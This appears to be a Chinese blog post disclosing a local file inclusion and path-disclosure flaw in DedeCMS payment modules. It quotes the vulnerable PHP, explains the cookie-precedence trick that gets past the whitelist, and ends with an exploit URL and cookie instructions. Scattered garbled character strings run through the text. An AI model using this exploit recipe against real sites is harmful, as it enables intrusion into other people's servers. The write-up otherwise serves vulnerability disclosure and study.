dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)

出现漏洞的两个文件为：
  s2 s! A& L1 J, b" e" P' G! i( jInclude/payment/alipay.php
Include/payment/yeepay.php
) q& d" [6 e. ]+ {漏洞均出现在respond方法里，估计这两个文件是临时工写的。

9 Y! L; c3 l% H+ x. yInclude/payment/alipay.php
" J# E. O6 D& n3 m
+ O& h# W9 ^% N% S! P2 p......
   function respond()
    {
        if (!empty($_POST))
3 b2 \' X' [; @0 l1 ~% A8 O        {
            foreach($_POST as $key => $data)
            {
                $_GET[$key] = $data;
4 x: Q* k0 P% T* P- A6 f3 n            }
        }
# s7 H' M& v1 p1 A+ P! I        /* 引入配置文件 */
: H. [* f; u* s0 B4 b        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
......


大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。
4 P. {) u3 \2 v) {/ D+ x; I% x/ D
Include/payment/yeepay.php


/ y$ [( U& K4 _1 T; x% r
......
    function respond()
    {

( R3 n# `& o+ |# s        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';

        $p1_MerId = trim($payment['yp_account']);
        $merchantKey = trim($payment['yp_key']);
......

; U6 g; W/ S) ]4 u9 ~# n+ V4 x
  [* a5 B- Y- h% Z9 q
* W+ ?, |+ S+ u
) t( ^/ f3 ]- C$ n8 q2 I2 M大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。
; a3 _# x5 A% |& V% r
这两个方法在plus/carbuyaction.php文件调用。

, Z. ?& u! Q$ ^9 S+ [9 D0 F9 Aplus/carbuyaction.php
6 S' T2 p; d, @" _
$ W7 G& b0 O0 c* r/ P* K......
2 ~0 d4 V( X; Y- }' H/ ]/ y} else if ($dopost == 'return') {
" x# Z8 p; M5 a: R5 E    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
    if (in_array($code, $write_list))
) _, c" i6 F7 t8 D! D    {
: J6 q3 a" }6 x8 H" w        require_once DEDEINC.'/payment/'.$code.'.php';
        $pay = new $code;
        $msg=$pay->respond();
        ShowMsg($msg, "javascript:;", 0, 3000);
        exit();  
    } else {
        exit('Error:File Type Can\'t Recognized!');
9 f6 [9 }7 C8 B- N1 _0 w# x" n! @    }
7 ^8 d" S7 I4 B* }( c7 h3 y}
. c; \8 k& q; B* \6 a$ E, [8 C......
# R0 k  K$ e% E+ y. _/ E# p


: g5 s% q6 K4 U5 K9 S6 O- R
. e/ m& T* [: E5 S# \

5 ?+ S) ~) ^' P3 f& N( N大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
3 j  C0 @) N+ ~" p5 V( v所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
2 t8 Y2 e! r* S
回到include/common.inc.php来看看他的机制。
/ p4 J5 S' D  ^! z

2 G, a0 d9 M% b( m/ _
......
$ h, T3 h- d$ m+ E+ H; Zforeach(Array('_GET','_POST','_COOKIE') as $_request)
{
        foreach($$_request as $_k => $_v)
        {
                if($_k == 'nvarname') ${$_k} = $_v;
6 T( P5 I* m3 C8 s% l2 r! C/ H9 c5 s                else ${$_k} = _RunMagicQuotes($_v);
! r8 n: A4 H2 R9 a& |' {        }
}
) i, i' S: Q2 f' D1 T0 i7 u......
# j+ D7 k; M5 ^8 Q* Y9 `大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。